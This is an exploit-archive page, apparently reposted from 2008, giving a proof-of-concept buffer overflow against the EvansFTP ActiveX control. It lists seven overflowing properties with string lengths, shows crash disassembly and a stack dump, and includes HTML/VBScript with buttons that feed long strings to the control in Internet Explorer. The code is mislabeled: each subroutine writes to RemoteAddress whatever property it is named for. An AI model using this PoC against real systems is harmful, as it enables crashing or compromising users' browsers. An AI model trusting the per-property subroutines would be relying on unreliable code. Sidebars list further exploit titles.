首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC
来源:Blackbeard-sql{a.t}Hotmail{dot}fr 作者:Bl@ckbe@rD 发布时间:2008-12-15  
<HTML>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD' id='beard' />
<HEAD>
  <TITLE>EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC</TITLE>
</HEAD>
<BODY>
[+] Application : EvansFTP ActiveX <br>
[+] CompanyName    : Evans Programming <br>
[+] Description    : Multi-threaded asynchronus Active-X FTP Control<br>
[+] Lib GUID    : {DA3C77F4-8701-11D4-908B-00010268221D}<br>
[+] Exploit     : Remote BoF (PoC)<br>
[+] Author      : Bl@ckbe@rD // Blackbeard-sql{a.t}Hotmail{dot}fr<br><br>
[+] Object Safety Report :<br>
Report for Clsid: {7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD}<br>
RegKey Safe for Script: Faux<br>
RegKey Safe for Init: Faux<br>
Implements IObjectSafety: Vrai<br>
IDisp Safe:  Safe for untrusted: caller,data  <br>
IPStorage Safe:  Safe for untrusted: caller,data <br><br>
RegKey Safe for Script: Faux<br>
RegkeySafe for Init: Faux<br>
KillBitSet: Faux<br>
<br><br>
The Proprieties (RemoteAddress,ProxyPrefix,ProxyName,Password,ProxyBypassList,LoginName,CurrentDirectory) suffers from Buffer Overflow when we pass long strings in fact : <br>
1- RemoteAddress    suffers from a BoF when we pass a string over 2068  <br>
2- ProxyPrefix      suffers from a BoF when we pass a string over 1044  <br>
3- ProxyName        suffers from a BoF when we pass a string over 1044   <br>
4- Password         suffers from a BoF when we pass a string over 1044   <br>
5- ProxyBypassList  suffers from a BoF when we pass a string over 1044   <br>
6- LoginName        suffers from a BoF when we pass a string over 1044   <br>
7- CurrentDirectory suffers from a BoF when we pass a string over 1044   <br><br>
DisASM RemoteAddress Crash :<br><pre>
7C809EEC    MOV AL,[EDX]    (KERNEL32.dll)

7C809ED4    TEST EDX,EDX
7C809ED6    JE 7C80C858
7C809EDC    LEA EDI,[EDX+EAX-1]
7C809EE0    CMP EDI,EDX
7C809EE2    JB 7C80C858
7C809EE8    AND DWORD PTR [EBP-4],0
7C809EEC    MOV AL,[EDX]      <--- CRASH

EBP+8    FEEEFEEE
Stack Dump:
13FC18      A7 F3 01 66 EE FE EE FE 04 00 00 00 02 00 00 00

</pre>
<script language='vbscript'>
Sub RemoteAddress
arg1=String(2068, "A")
beard.RemoteAddress = arg1
End Sub

Sub ProxyPrefix
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub

Sub ProxyName
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub

Sub Password
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub

Sub ProxyBypassList
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub

Sub LoginName
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub

Sub CurrentDirectory
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub
</script><br><br>

<INPUT TYPE="button" VALUE="RemoteAddress PoC" ONCLICK=RemoteAddress()>
<INPUT TYPE="button" VALUE="ProxyPrefix PoC" ONCLICK=ProxyPrefix()>
<INPUT TYPE="button" VALUE="ProxyName  PoC" ONCLICK=ProxyName()>
<INPUT TYPE="button" VALUE="Password PoC" ONCLICK=Password()>
<INPUT TYPE="button" VALUE="ProxyBypassList PoC" ONCLICK=ProxyBypassList()>
<INPUT TYPE="button" VALUE="LoginName PoC" ONCLICK=LoginName()>
<INPUT TYPE="button" VALUE="CurrentDirectory PoC" ONCLICK=CurrentDirectory()><br><br>
Brought to You by Bl@ckbe@rD<br>
Peace xD
</BODY>
</HTML>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.6.27.7-generic
·Flatnux html/javascript Inject
·WebPhotoPro exploit written in
·Amaya Web Browser 10.0.1/10.1-
·ProSysInfo TFTP Server TFTPDWI
·eZ Publish < 3.9.5/3.10.1/4.0.
·Mediatheka <= 4.2 Remote Blind
·MS Internet Explorer XML Parsi
·Wysi Wiki Wyg 1.0 Remote Passw
·MS Visual Basic ActiveX Contro
·Internet Explorer 8.0 Beta 2 A
·eZ Publish 3.9.0/3.9.5/3.10.1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved